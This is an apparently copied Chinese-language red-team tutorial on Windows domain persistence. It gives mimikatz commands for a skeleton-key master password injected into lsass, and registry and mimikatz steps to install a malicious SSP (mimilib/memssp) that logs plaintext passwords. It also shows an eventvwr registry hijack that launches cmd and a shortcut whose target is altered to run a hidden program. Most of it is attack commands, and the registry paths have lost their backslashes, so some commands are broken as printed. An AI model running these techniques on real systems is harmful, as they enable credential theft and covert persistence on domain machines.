0x01 万能密码(Skeleton Key)
将自身注入lsass进程创建一个主密码,可以适用于域内的任意账户。
前提条件是拥有域管权限。
mimikatz执行:
代码语言:javascript复制privilege::debugmisc::skeleton
然后ipc连接域控
0x02 SSP
SSPI 将负责为想要通信的两台机器找到合适的协议。对此的首选方法是 Kerberos。然后 SSPI 将协商将使用哪种身份验证协议,这些身份验证协议称为安全支持提供程序 (SSP),以 DLL 的形式位于每台 Windows 机器内部,并且两台机器必须支持相同才能进行通信。
我们可以自己创建ssp,捕获明文。
2.1 注册SSP DLL
1.将mimilib.dll复制到system32目录下
代码语言:javascript复制move mimilib.dll %systemroot%system32
2.查看Security Packages
代码语言:javascript复制reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
3.修改Security Packages值
代码语言:javascript复制reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberos msv1_0 schannel wdigest tspkg pku2u mimilib" /t REG_MULTI_SZ
密码会保存在:
代码语言:javascript复制C:WindowsSystem32kiwissp.log
会产生事件ID为4657的日志。
2.2 内存加载
代码语言:javascript复制privilege::debugmisc::memssp
当用户登录的时候密码会储存在
代码语言:javascript复制C:Windowssystem32mimilsa.log
0x03 com劫持
Microsoft 组件对象模型 (COM) 是一个独立于平台、分布式、面向对象的系统,用于创建可以交互的二进制软件组件。
我们可以更改事件管理器,使其打开启动我们的二进制文件。
修改
代码语言:javascript复制HKCUSOFTWAREClassesmscfileshellopencommand
将原来的
代码语言:javascript复制%SystemRoot%system32mmc.exe "%1" %*
修改为:
代码语言:javascript复制C:windowssystem32cmd.exe
执行:
代码语言:javascript复制reg.exe add hkcusoftwareclassesmscfileshellopencommand /ve /d "c:windowssystem32cmd.exe /c "start cmd"" /feventvwr.exe
0x04 lnk
这里以该快捷文件为例:
修改目标为:
代码语言:javascript复制powershell.exe -c "invoke-item C:UsersAdministratorDesktopAdExplorerADExplorer64.exe; invoke-item c:windowssystem32calc.exe"
再把图标修改回来:
运行lnk